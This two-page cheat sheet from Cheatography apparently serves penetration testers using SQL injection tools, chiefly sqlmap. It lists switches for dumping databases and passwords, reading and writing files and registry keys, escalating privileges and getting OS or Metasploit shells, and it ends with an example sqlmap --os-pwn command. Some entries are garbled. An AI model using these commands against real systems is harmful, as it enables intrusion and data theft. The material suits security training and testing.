

Other SQLi Tools

Numerous tools available for assisting in the discovery of SQLi flaws.

Few tools go beyond data exfiltration and many are not currently managed.

NOT BEING UPDATED:

BBQSQL is a Python framework to ease and speed the exploitation of blind SQLi flaws. 2 Types of blind SQL attack:

Binary Search: Typical technique that splits the character set in one-half

Frequency Search: Based on letters' frequency of occurrence in English language text.

Attacks can be coupled with different indicators including timing, HTTP headers, content, size HTTP status codes, and others.

About

Open source, Python-based, command-line SQLi tool

Performs **In-band/Inline and Blind** SQLi discovery and exploitation.

Supports many RDBMS including **MySQL, MSSQL, Oracle, PostgreSQL, SQLite**

Integrates with **Metasploit, Burp, w3af, and ZAP**

Exploit techniques include blind timing, error-based, blind boolean, stack queries, UNION and more

Help

-h substantial verbosity

-hh oh my verbosity

There is also a user guide. Sqlmap has many command-line switches to help with discovery and exploit.

Initial Targeting

-u A URL to kick off sqlmap

-crawl Spiders site to discover entry points

-forms Targets forms for injection

-dbms Can inform sqlmap of the type of DB if known

Authorization, Sessions, and Proxies

-r / -l Captured HTTP Request or proxy log as starting point, can bridge authentication gap.

--cookie Manually sets cookies

--proxy Have sqlmap go through Burp, ZAP, or other proxy

If you have already authenticated or interacted with the target the above switches can be useful.

There are some nuances to sqlmap with proxies because it does not automatically inherit an authenticated session active in your proxy. It requires configuration.

In ZAP, toggle the "Enable Session Tracking".

In Burp, update Session handling rules under Options>Sessions.

The default only includes browsers and scanner.

Note: There may be a performance impact.

DB Data Exfil

--all Dump all data && metadata

--count No data exfiltrated, simply provides a count of records. Useful for testing sensitive data stores.

--dump Steals data given the applied constraints.
Example: **-D Orders -T Customers --dump**

--search Search DB/table for a string

Beyond Data Exfiltration

--users Enumerate DB user accounts

--passwords Download files to attack system

--file-read Download files to attack system

--file-write Upload files to DB system

--reg-read/--reg-write Read/Write Windows registry keys

--reg-add/--reg-del Add/Delete Windows registry keys



Post Exploitation

<code>--priv-esc</code>	Escalate privileges of DBB
<code>--sql-query / --sql-shell</code>	Run single SQL query or get simulated active shell
<code>--os-cmd / --os-shell</code>	Execute single OS command or get simulated interactive OS shell
<code>--os-pwn</code>	OOB Metasploit shell/VNC/Meterpreter, requires an available OOB connection

Note: Requires database to be running a web server with web root that database account can write to and reach. Most effective after pivoting or during an internal engagement.

MSF Shell with SQL Map

```
$ cd /opt/metasploit-framework
$ sqlmap -u " domain /sql/ ?id=1&submit=s -
ubmit" --cookie=" Cookie Value" --proxy
http://localhost:8080 --user-agent 88 --os-
pwn -msf-path /opt/metasploit-framework
```



By **binca**
cheatography.com/binca/

Not published yet.
Last updated 9th November, 2017.
Page 2 of 2.

Sponsored by **Readable.com**
Measure your website readability!
<https://readable.com>